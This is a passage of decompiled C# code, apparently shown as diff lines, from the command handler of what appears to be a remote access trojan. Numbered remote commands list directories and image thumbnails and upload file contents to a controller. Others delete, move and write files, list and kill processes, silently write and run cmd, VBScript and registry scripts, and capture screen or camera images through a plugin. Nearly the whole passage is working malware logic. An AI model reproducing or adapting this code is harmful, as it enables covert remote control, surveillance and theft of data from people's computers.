Interaction.Environ(Expression); - if (str41.Length > 0) - { - string str42 = str40; - string y8 = IND.Y; - string s10 = Expression + IND.Y + "DIR" + IND.Y + str41; - string str43 = API.ENB(ref s10); - str40 = str42 + y8 + str43; - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++index3; } - } - string str44 = str40; - string y9 = IND.Y; - string s11 = "System32" + IND.Y + "DIR" + IND.Y + Interaction.Environ("windir") + "\\system32"; - string str45 = API.ENB(ref s11); - string str46 = str44 + y9 + str45; - B b = MyProject.Forms.B; - string str47 = "#8" + str46; - ref string local = ref str47; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#10", false) == 0) - { - num1 = 6; - Array Instance16 = Instance1; - object[] objArray30 = new object[1]; - object[] objArray31 = objArray30; - int num22 = 1; - // ISSUE: variable of a boxed type - __Boxed local40 = (ValueType) num22; - objArray31[0] = (object) local40; - object[] Arguments9 = objArray30; - string s12 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance16, Arguments9, (string[]) null)); - string path1 = API.DEB(ref s12); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num22, - (object) s12 - }, (string[]) null, true, false); - string[] directories = Directory.GetDirectories(path1); - int index4 = 0; - string str48; - while (index4 < directories.Length) - { - string str49 = directories[index4]; - string str50 = str48; - string y = IND.Y; - string Expression = str49; - Array Instance17 = Instance1; - object[] objArray32 = new object[1]; - object[] objArray33 = objArray32; - int num23 = 1; - // ISSUE: variable of a boxed type - __Boxed local41 = (ValueType) num23; - objArray33[0] = (object) local41; - object[] Arguments10 = objArray32; - string s13 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance17, Arguments10, (string[]) null)); - string Find = API.DEB(ref s13); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num23, - (object) s13 - }, (string[]) null, true, false); - string s14 = Strings.Replace(Expression, Find, "") + "*DIR"; - string str51 = API.ENB(ref s14); - str48 = str50 + y + str51; - checked { ++index4; } - } - string[] strArray3 = new string[5] - { - "png", - "jpg", - "jpeg", - "bmp", - "ico" - }; - int num24 = 0; - Array Instance18 = Instance1; - object[] objArray34 = new object[1]; - object[] objArray35 = objArray34; - int num25 = 1; - // ISSUE: variable of a boxed type - __Boxed local42 = (ValueType) num25; - objArray35[0] = (object) local42; - object[] Arguments11 = objArray34; - string s15 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, Arguments11, (string[]) null)); - string path2 = API.DEB(ref s15); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num25, - (object) s15 - }, (string[]) null, true, false); - string[] files = Directory.GetFiles(path2); - int index5 = 0; - while (index5 < files.Length) - { - string str52 = files[index5]; - string[] strArray4 = strArray3; - int index6 = 0; - bool flag; - while (index6 < strArray4.Length) - { - if (Operators.CompareString(strArray4[index6].ToLower(), Strings.Split(str52, ".")[checked (Strings.Split(str52, ".").Length - 1)].ToLower(), false) == 0) - { - flag = true; - break; - } - checked { ++index6; } - } - string s16; - if (flag & num24 < 20) - { - try - { - Image image = Image.FromFile(str52); - MemoryStream memoryStream = new MemoryStream(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - image.GetThumbnailImage(20, 20, (Image.GetThumbnailImageAbort) null, IntPtr.Zero).Save((Stream) memoryStream, encoderInfo, encoderParams); - string str53 = str48; - string y = IND.Y; - string[] strArray5 = new string[5]; - string[] strArray6 = strArray5; - string Expression = str52; - Array Instance19 = Instance1; - object[] objArray36 = new object[1]; - object[] objArray37 = objArray36; - int num26 = 1; - // ISSUE: variable of a boxed type - __Boxed local43 = (ValueType) num26; - objArray37[0] = (object) local43; - object[] Arguments12 = objArray36; - string s17 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance19, Arguments12, (string[]) null)); - string Find = API.DEB(ref s17); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num26, - (object) s17 - }, (string[]) null, true, false); - string str54 = Strings.Replace(Expression, Find, ""); - strArray6[0] = str54; - strArray5[1] = "*"; - strArray5[2] = Conversions.ToString(FileSystem.FileLen(str52)); - strArray5[3] = "*"; - strArray5[4] = API.FEN(memoryStream.ToArray()); - s16 = string.Concat(strArray5); - string str55 = API.ENB(ref s16); - str48 = str53 + y + str55; - memoryStream.Dispose(); - encoderParams.Dispose(); - image.Dispose(); - checked { ++num24; } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - string str56 = str48; - string y = IND.Y; - string Expression = str52; - Array Instance20 = Instance1; - object[] objArray38 = new object[1]; - object[] objArray39 = objArray38; - int num27 = 1; - // ISSUE: variable of a boxed type - __Boxed local44 = (ValueType) num27; - objArray39[0] = (object) local44; - object[] Arguments13 = objArray38; - string s18 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance20, Arguments13, (string[]) null)); - string Find = API.DEB(ref s18); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num27, - (object) s18 - }, (string[]) null, true, false); - string s19 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(str52)); - string str57 = API.ENB(ref s19); - str48 = str56 + y + str57; - ProjectData.ClearProjectError(); - } - } - else - { - string str58 = str48; - string y = IND.Y; - string Expression = str52; - Array Instance21 = Instance1; - object[] objArray40 = new object[1]; - object[] objArray41 = objArray40; - int num28 = 1; - // ISSUE: variable of a boxed type - __Boxed local45 = (ValueType) num28; - objArray41[0] = (object) local45; - object[] Arguments14 = objArray40; - string s20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance21, Arguments14, (string[]) null)); - string Find = API.DEB(ref s20); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num28, - (object) s20 - }, (string[]) null, true, false); - s16 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(str52)); - string str59 = API.ENB(ref s16); - str48 = str58 + y + str59; - } - checked { ++index5; } - } - B b = MyProject.Forms.B; - string str60 = "#9" + str48; - ref string local46 = ref str60; - b.SEND(ref local46); - } - else if (Operators.CompareString(Left1, "#11", false) == 0) - { - num1 = 6; - int num29 = checked (Instance1.Length - 1); - int num30 = 1; - while (num30 <= num29) - { - try - { - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num30 - }, (string[]) null)); - string fileName = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num30, - (object) s - }, (string[]) null, true, false); - Process.Start(fileName); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num30; } - } - } - else if (Operators.CompareString(Left1, "#12", false) == 0) - { - num1 = 6; - Array Instance22 = Instance1; - object[] objArray42 = new object[1]; - object[] objArray43 = objArray42; - int num31 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num31; - objArray43[0] = (object) local; - object[] Arguments = objArray42; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance22, Arguments, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num31, - (object) s - }, (string[]) null, true, false); - Array Instance23 = (Array) Strings.Split(Expression, "\r\n"); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 3 - }, (string[]) null), (object) "DIR", false)) - MyProject.Computer.FileSystem.RenameDirectory(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 2 - }, (string[]) null))); - else - MyProject.Computer.FileSystem.RenameFile(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 2 - }, (string[]) null))); - } - else if (Operators.CompareString(Left1, "#13", false) == 0) - { - num1 = 6; - int num32 = checked (Instance1.Length - 1); - int num33 = 1; - while (num33 <= num32) - { - string s21 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num33 - }, (string[]) null)); - string path3 = API.DEB(ref s21); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num33, - (object) s21 - }, (string[]) null, true, false); - if (Directory.Exists(path3)) - { - string s22 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num33 - }, (string[]) null)); - string path4 = API.DEB(ref s22); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num33, - (object) s22 - }, (string[]) null, true, false); - Directory.Delete(path4, true); - } - else - { - string s23 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num33 - }, (string[]) null)); - string path5 = API.DEB(ref s23); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num33, - (object) s23 - }, (string[]) null, true, false); - File.Delete(path5); - } - checked { ++num33; } - } - } - else if (Operators.CompareString(Left1, "#14", false) == 0) - { - num1 = 6; - Array Instance24 = Instance1; - object[] objArray44 = new object[1]; - object[] objArray45 = objArray44; - int num34 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num34; - objArray45[0] = (object) local; - object[] Arguments = objArray44; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance24, Arguments, (string[]) null)); - string Path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num34, - (object) s - }, (string[]) null, true, false); - FileSystem.MkDir(Path); - } - else if (Operators.CompareString(Left1, "#15", false) == 0) - { - num1 = 6; - int num35 = checked (Instance1.Length - 1); - int num36 = 1; - while (num36 <= num35) - { - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num36 - }, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num36, - (object) s - }, (string[]) null, true, false); - Array Instance25 = (Array) Strings.Split(Expression, "\r\n"); - if (Directory.Exists(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"))) - Directory.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 2 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\")); - else - File.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 2 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\")); - checked { ++num36; } - } - } - else if (Operators.CompareString(Left1, "#16", false) == 0) - { - num1 = 6; - B b = MyProject.Forms.B; - string str61 = "#11" + IND.Y; - Array Instance26 = Instance1; - object[] objArray46 = new object[1]; - object[] objArray47 = objArray46; - int num37 = 1; - // ISSUE: variable of a boxed type - __Boxed local47 = (ValueType) num37; - objArray47[0] = (object) local47; - object[] Arguments = objArray46; - string s24 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance26, Arguments, (string[]) null)); - string path = API.DEB(ref s24); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num37, - (object) s24 - }, (string[]) null, true, false); - string s25 = File.ReadAllText(path); - string str62 = API.ENB(ref s25); - string str63 = Conversions.ToString(Operators.ConcatenateObject((object) (str61 + str62 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - ref string local48 = ref str63; - b.SEND(ref local48); - } - else if (Operators.CompareString(Left1, "#17", false) == 0) - { - num1 = 6; - Array Instance27 = Instance1; - object[] objArray48 = new object[1]; - object[] objArray49 = objArray48; - int num38 = 1; - // ISSUE: variable of a boxed type - __Boxed local49 = (ValueType) num38; - objArray49[0] = (object) local49; - object[] Arguments15 = objArray48; - string s26 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance27, Arguments15, (string[]) null)); - string path = API.DEB(ref s26); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num38, - (object) s26 - }, (string[]) null, true, false); - Array Instance28 = Instance1; - object[] objArray50 = new object[1]; - object[] objArray51 = objArray50; - int num39 = 2; - // ISSUE: variable of a boxed type - __Boxed local50 = (ValueType) num39; - objArray51[0] = (object) local50; - object[] Arguments16 = objArray50; - string s27 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance28, Arguments16, (string[]) null)); - string contents = API.DEB(ref s27); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num39, - (object) s27 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - } - else if (Operators.CompareString(Left1, "#18", false) == 0) - { - num1 = 6; - Array Instance29 = Instance1; - object[] objArray52 = new object[1]; - object[] objArray53 = objArray52; - int num40 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num40; - objArray53[0] = (object) local; - object[] Arguments = objArray52; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance29, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num40, - (object) s - }, (string[]) null, true, false); - File.Create(path); - } - else if (Operators.CompareString(Left1, "#19", false) == 0) - { - num1 = 6; - MemoryStream memoryStream = new MemoryStream(); - int num41 = checked (Strings.InStr(str1, Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null))) + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null).ToString().Length + IND.Y.Length - 1); - int num42 = checked (Da.Length - 1); - int index = num41; - while (index <= num42) - { - memoryStream.WriteByte(Da[index]); - checked { ++index; } - } - Array Instance30 = Instance1; - object[] objArray54 = new object[1]; - object[] objArray55 = objArray54; - int num43 = 1; - // ISSUE: variable of a boxed type - __Boxed local51 = (ValueType) num43; - objArray55[0] = (object) local51; - object[] Arguments = objArray54; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance30, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num43, - (object) s - }, (string[]) null, true, false); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local52 = ref flag; - byte[] bytes = API.ZIP(array, ref local52); - File.WriteAllBytes(path, bytes); - } - else if (Operators.CompareString(Left1, "#20", false) != 0) - { - if (Operators.CompareString(Left1, "#21", false) == 0) - { - num1 = 6; - int num44 = checked (Instance1.Length - 1); - int num45 = 1; - while (num45 <= num44) - { - Thread.Sleep(10); - string s28 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num45 - }, (string[]) null)); - string filename = API.DEB(ref s28); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s28 - }, (string[]) null, true, false); - new Bitmap(filename).Dispose(); - string s29 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num45 - }, (string[]) null)); - string Expression = API.DEB(ref s29); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s29 - }, (string[]) null, true, false); - Array Instance31 = (Array) Strings.Split(Expression, "\\"); - B b = MyProject.Forms.B; - string[] strArray7 = new string[5] - { - "#13", - IND.Y, - null, - null, - null - }; - string[] strArray8 = strArray7; - Array Instance32 = Instance31; - object[] objArray56 = new object[1]; - object[] objArray57 = objArray56; - int num46 = checked (Instance31.Length - 1); - // ISSUE: variable of a boxed type - __Boxed local53 = (ValueType) num46; - objArray57[0] = (object) local53; - object[] Arguments = objArray56; - string s30 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance32, Arguments, (string[]) null)); - string str64 = API.ENB(ref s30); - NewLateBinding.LateIndexSetComplex((object) Instance31, new object[2] - { - (object) num46, - (object) s30 - }, (string[]) null, true, false); - strArray8[2] = str64; - strArray7[3] = IND.Y; - string[] strArray9 = strArray7; - string s31 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num45 - }, (string[]) null)); - string path = API.DEB(ref s31); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s31 - }, (string[]) null, true, false); - string str65 = API.FEN(File.ReadAllBytes(path)); - strArray9[4] = str65; - string str66 = string.Concat(strArray7); - ref string local54 = ref str66; - b.SEND(ref local54); - checked { ++num45; } - } - } - else if (Operators.CompareString(Left1, "#22", false) == 0) - { - num1 = 1; - Process[] processes = Process.GetProcesses(); - int index = 0; - string str67; - while (index < processes.Length) - { - Process process = processes[index]; - try - { - str67 = str67 + IND.Y + process.MainModule.ModuleName + "*" + Conversions.ToString(process.Id); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - str67 = str67 + IND.Y + process.ProcessName + "*" + Conversions.ToString(process.Id); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - B b = MyProject.Forms.B; - string str68 = "#14" + str67; - ref string local = ref str68; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#23", false) == 0) - { - num1 = 1; - int num47 = checked (Instance1.Length - 1); - int num48 = 1; - while (num48 <= num47) - { - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num48 - }, (string[]) null))).Kill(); - checked { ++num48; } - } - } - else if (Operators.CompareString(Left1, "#24", false) == 0) - { - try - { - chat.clos = true; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - Array Instance33 = Instance1; - object[] objArray58 = new object[1]; - object[] objArray59 = objArray58; - int num49 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num49; - objArray59[0] = (object) local; - object[] Arguments = objArray58; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance33, Arguments, (string[]) null)); - string str69 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num49, - (object) s - }, (string[]) null, true, false); - B.Cht = str69; - } - else if (Operators.CompareString(Left1, "#25", false) == 0) - { - num1 = 0; - if (B.Chat.InvokeRequired) - { - IND.indd method = new IND.indd(IND.inddd); - Array Instance34 = Instance1; - object[] objArray60 = new object[1]; - object[] objArray61 = objArray60; - int num50 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num50; - objArray61[0] = (object) local; - object[] Arguments = objArray60; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance34, Arguments, (string[]) null)); - string str70 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num50, - (object) s - }, (string[]) null, true, false); - string str71 = str70; - B.Chat.Invoke((Delegate) method, (object) str71); - } - else - { - RichTextBox t1 = B.Chat.T1; - RichTextBox richTextBox = t1; - string[] strArray10 = new string[5] - { - t1.Text, - MyProject.Forms.chat.nick, - " : ", - null, - null - }; - string[] strArray11 = strArray10; - Array Instance35 = Instance1; - object[] objArray62 = new object[1]; - object[] objArray63 = objArray62; - int num51 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num51; - objArray63[0] = (object) local; - object[] Arguments = objArray62; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance35, Arguments, (string[]) null)); - string str72 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num51, - (object) s - }, (string[]) null, true, false); - strArray11[3] = str72; - strArray10[4] = "\r\n"; - string str73 = string.Concat(strArray10); - richTextBox.Text = str73; - } - } - else if (Operators.CompareString(Left1, "#26", false) == 0) - { - num1 = 0; - chat.clos = true; - } - else if (Operators.CompareString(Left1, "#27", false) == 0) - { - num1 = 1; - int num52 = 0; - string s32; - do - { - if (!File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - s32 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - break; - } - try - { - FileSystem.Kill(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - s32 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - break; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num52; } - } - while (num52 <= 9999); - string lower = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null).ToString().ToLower(); - if (Operators.CompareString(lower, "cmd", false) == 0) - { - string path = s32; - Array Instance36 = Instance1; - object[] objArray64 = new object[1]; - object[] objArray65 = objArray64; - int num53 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num53; - objArray65[0] = (object) local; - object[] Arguments = objArray64; - string s33 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance36, Arguments, (string[]) null)); - string contents = API.DEB(ref s33); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num53, - (object) s33 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Interaction.Shell(s32, AppWinStyle.Hide); - } - else if (Operators.CompareString(lower, "vbs", false) == 0) - { - string path = s32; - Array Instance37 = Instance1; - object[] objArray66 = new object[1]; - object[] objArray67 = objArray66; - int num54 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num54; - objArray67[0] = (object) local; - object[] Arguments = objArray66; - string s34 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance37, Arguments, (string[]) null)); - string contents = API.DEB(ref s34); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num54, - (object) s34 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Process.Start(s32); - } - else if (Operators.CompareString(lower, "Reg", false) == 0) - { - string path = s32; - Array Instance38 = Instance1; - object[] objArray68 = new object[1]; - object[] objArray69 = objArray68; - int num55 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num55; - objArray69[0] = (object) local; - object[] Arguments = objArray68; - string s35 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance38, Arguments, (string[]) null)); - string contents = API.DEB(ref s35); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num55, - (object) s35 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Interaction.Shell(s32); - } - else - { - string path = s32; - Array Instance39 = Instance1; - object[] objArray70 = new object[1]; - object[] objArray71 = objArray70; - int num56 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num56; - objArray71[0] = (object) local; - object[] Arguments = objArray70; - string s36 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance39, Arguments, (string[]) null)); - string contents = API.DEB(ref s36); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num56, - (object) s36 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Process.Start(s32); - } - B b = MyProject.Forms.B; - string str74 = "#10" + IND.Y + "^" + Conversions.ToString(4) + IND.Y + API.ENB(ref s32); - ref string local55 = ref str74; - b.SEND(ref local55); - } - else if (Operators.CompareString(Left1, "#28", false) == 0) - { - num1 = 1; - object Left3 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left3, (object) "!", false)) - { - B b = MyProject.Forms.B; - string y = IND.Y; - ref byte[] local56 = ref C.Plug; - string str75 = "plugin.C"; - ref string local57 = ref str75; - string str76 = "W"; - ref string local58 = ref str76; - object obj = (object) new object[0]; - ref object local59 = ref obj; - string s = Conversions.ToString(C.inv(ref local56, ref local57, ref local58, ref local59)); - string str77 = API.ENB(ref s); - string str78 = "#17" + y + str77; - ref string local60 = ref str78; - b.SEND(ref local60); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "@", false)) - { - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)); - ref byte[] local61 = ref C.Plug; - string str79 = "plugin.C"; - ref string local62 = ref str79; - string str80 = "CW"; - ref string local63 = ref str80; - object[] objArray72 = new object[2] - { - (object) integer, - null - }; - object[] objArray73 = objArray72; - Array Instance40 = Instance1; - object[] objArray74 = new object[1]; - object[] objArray75 = objArray74; - int num57 = 3; - // ISSUE: variable of a boxed type - __Boxed local64 = (ValueType) num57; - objArray75[0] = (object) local64; - object[] Arguments = objArray74; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance40, Arguments, (string[]) null)); - string str81 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num57, - (object) s - }, (string[]) null, true, false); - objArray73[1] = (object) str81; - object obj = (object) objArray72; - ref object local65 = ref obj; - C.inv(ref local61, ref local62, ref local63, ref local65); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "#", false)) - { - Array Instance41 = Instance1; - object[] objArray76 = new object[1]; - object[] objArray77 = objArray76; - int num58 = 2; - // ISSUE: variable of a boxed type - __Boxed local66 = (ValueType) num58; - objArray77[0] = (object) local66; - object[] Arguments17 = objArray76; - int integer5 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance41, Arguments17, (string[]) null)); - ref int local67 = ref integer5; - Array Instance42 = Instance1; - object[] objArray78 = new object[1]; - object[] objArray79 = objArray78; - int num59 = 3; - // ISSUE: variable of a boxed type - __Boxed local68 = (ValueType) num59; - objArray79[0] = (object) local68; - object[] Arguments18 = objArray78; - int integer6 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance42, Arguments18, (string[]) null)); - ref int local69 = ref integer6; - API.wd.G(ref local67, ref local69); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num59, - (object) integer6 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num58, - (object) integer5 - }, (string[]) null, true, false); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "$", false)) - { - MemoryStream memoryStream = new MemoryStream(); - int num60 = 0; - ref int local70 = ref num60; - Array Instance43 = Instance1; - object[] objArray80 = new object[1]; - object[] objArray81 = objArray80; - int num61 = 2; - // ISSUE: variable of a boxed type - __Boxed local71 = (ValueType) num61; - objArray81[0] = (object) local71; - object[] Arguments = objArray80; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance43, Arguments, (string[]) null)); - ref int local72 = ref integer; - byte[] numArray = C.Capture1(ref local70, ref local72); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num61, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - memoryStream.Write(MyProject.Forms.B.WC.STB("#18" + IND.Y), 0, MyProject.Forms.B.WC.STB("#18" + IND.Y).Length); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - memoryStream.Dispose(); - } - } - else if (Operators.CompareString(Left1, "#29", false) == 0) - { - num1 = 0; - B b = MyProject.Forms.B; - string str82 = "#Bla"; - ref string local73 = ref str82; - b.SEND(ref local73); - int num62 = 0; - string str83; - while (File.Exists(Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe")) - { - try - { - File.Delete(Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe"); 